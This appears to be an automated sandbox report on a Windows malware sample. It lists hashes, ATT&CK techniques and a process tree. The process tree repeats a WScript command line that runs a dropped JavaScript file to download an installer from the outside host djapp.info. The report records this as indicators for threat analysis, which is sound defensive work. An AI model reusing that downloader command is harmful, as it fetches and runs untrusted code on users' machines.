4803d5f80930034251ab5d2cf16669ba03eeea2ae93ca9f5a317611bba2a8061

Resubmissions

12/06/2024, 17:20

240612-vwnd9asgjd8

12/06/2024, 16:14

240612-tpx5fa1ejd8

Analysis

max time kernel
83s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
12/06/2024, 16:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe
Size 184KB
Sample240612-tpx5fa1ejd
SHA256 4803d5f80930034251ab5d2cf16669ba03eeea2ae93ca9f5a317611bba2a8061
MD5 a1499d88bbe639a77357190f667eaa1e
SHA1 93425156705ad2266f05cddf9bafc6650d680b8b
SHA512 72c13a70ef75addc58f66d8884937eaa75ab429020eb8b4b93b3823c5fdb3af79f5dcb7d4bd5a1293743d400b10196624336a421480ea735303ebbdd929fe2bd
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3X1:/7BSH8zUB+nGESaaRvoB7FJNndnK1
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	1128	WScript.exe
23	2888	WScript.exe
26	3948	WScript.exe
30	1984	WScript.exe
32	2908	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4216 wrote to memory of 1128	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	87
PID 4216 wrote to memory of 1128	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	87
PID 4216 wrote to memory of 1128	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	87
PID 4216 wrote to memory of 2888	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	94
PID 4216 wrote to memory of 2888	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	94
PID 4216 wrote to memory of 2888	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	94
PID 4216 wrote to memory of 3948	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	95
PID 4216 wrote to memory of 3948	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	95
PID 4216 wrote to memory of 3948	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	95
PID 4216 wrote to memory of 1984	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	97
PID 4216 wrote to memory of 1984	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	97
PID 4216 wrote to memory of 1984	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	97
PID 4216 wrote to memory of 2908	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	98
PID 4216 wrote to memory of 2908	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	98
PID 4216 wrote to memory of 2908	4216	a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe	98

C:\Users\Admin\AppData\Local\Temp\a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a1499d88bbe639a77357190f667eaa1e_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4216
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8405.js" http://www.djapp.info/?domain=VSGBJuPdDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8405.exe
  2⤵
  - Blocklisted process makes network request
  PID:1128
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8405.js" http://www.djapp.info/?domain=VSGBJuPdDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8405.exe
  2⤵
  - Blocklisted process makes network request
  PID:2888
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8405.js" http://www.djapp.info/?domain=VSGBJuPdDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8405.exe
  2⤵
  - Blocklisted process makes network request
  PID:3948
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8405.js" http://www.djapp.info/?domain=VSGBJuPdDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8405.exe
  2⤵
  - Blocklisted process makes network request
  PID:1984
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8405.js" http://www.djapp.info/?domain=VSGBJuPdDz.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8405.exe
  2⤵
  - Blocklisted process makes network request
  PID:2908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

fuf8405.js

Path C:\Users\Admin\AppData\Local\Temp\fuf8405.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

Submit Download